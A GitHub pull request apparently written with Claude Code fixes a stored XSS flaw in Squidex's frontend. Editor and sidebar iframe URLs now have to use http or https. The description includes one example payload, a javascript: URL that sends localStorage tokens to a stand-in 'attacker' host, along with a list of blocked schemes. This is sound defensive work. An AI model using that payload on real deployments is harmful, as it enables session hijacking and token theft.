Repository navigation
[frontend] Block non-http(s) editor and sidebar URLs to prevent stored XSS through iframes - #1355
Merged
Merged
Conversation
…d XSS through iframes
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Category: Security (stored XSS / privilege escalation)
Severity: High
Affected files
frontend/src/app/shared/utils/editor-utils.tsfrontend/src/app/shared/utils/editor-utils.spec.tsProblem
Custom field editors (
field.properties.editorUrl), schema extensions (contentsSidebarUrl,contentSidebarUrl,contentEditorUrl,contentsListUrl) and app-level editors (settings.editors[].url) are all resolved throughcomputeEditorUrl()and then put into an<iframe [attr.src]>through thesqxSafeResourceUrlpipe. That pipe callsDomSanitizer.bypassSecurityTrustResourceUrl(), so Angular does no sanitizing at all.Neither the backend nor the frontend checks the URL scheme. The
type="url"input in the schema editor is only a browser hint, and the REST API skips it completely. A URL likejavascript:...used as an iframesrcruns in the parent document's origin, so the script runs inside the Squidex UI with the victim's session. It can read the access token and call the API as that user.How it could be triggered
javascript:fetch('https://attacker/?t='+localStorage.getItem(...))(or anything else). This works through the API or the UI.javascript:URL and the payload runs in the Squidex origin as that user.Fix
computeEditorUrl()now resolves the interpolated URL against the current location. If the resulting protocol is anything other thanhttp:orhttps:(for examplejavascript:,data:orvbscript:), it returns an empty string. The check runs after placeholders are interpolated, so a malicious app-level editor URL referenced via${name}is blocked as well. Relative and absolute http(s) URLs keep working as before. Unit tests cover unsafe protocols (including case and leading-whitespace variants), interpolated unsafe URLs and relative URLs.Follow-up (not in this PR)
The backend should also validate these URL properties (field
EditorUrl, schema sidebar/editor URLs, app editor URLs) as absolute or relative http(s) URLs, so bad values are rejected when they are saved.🤖 Generated with Claude Code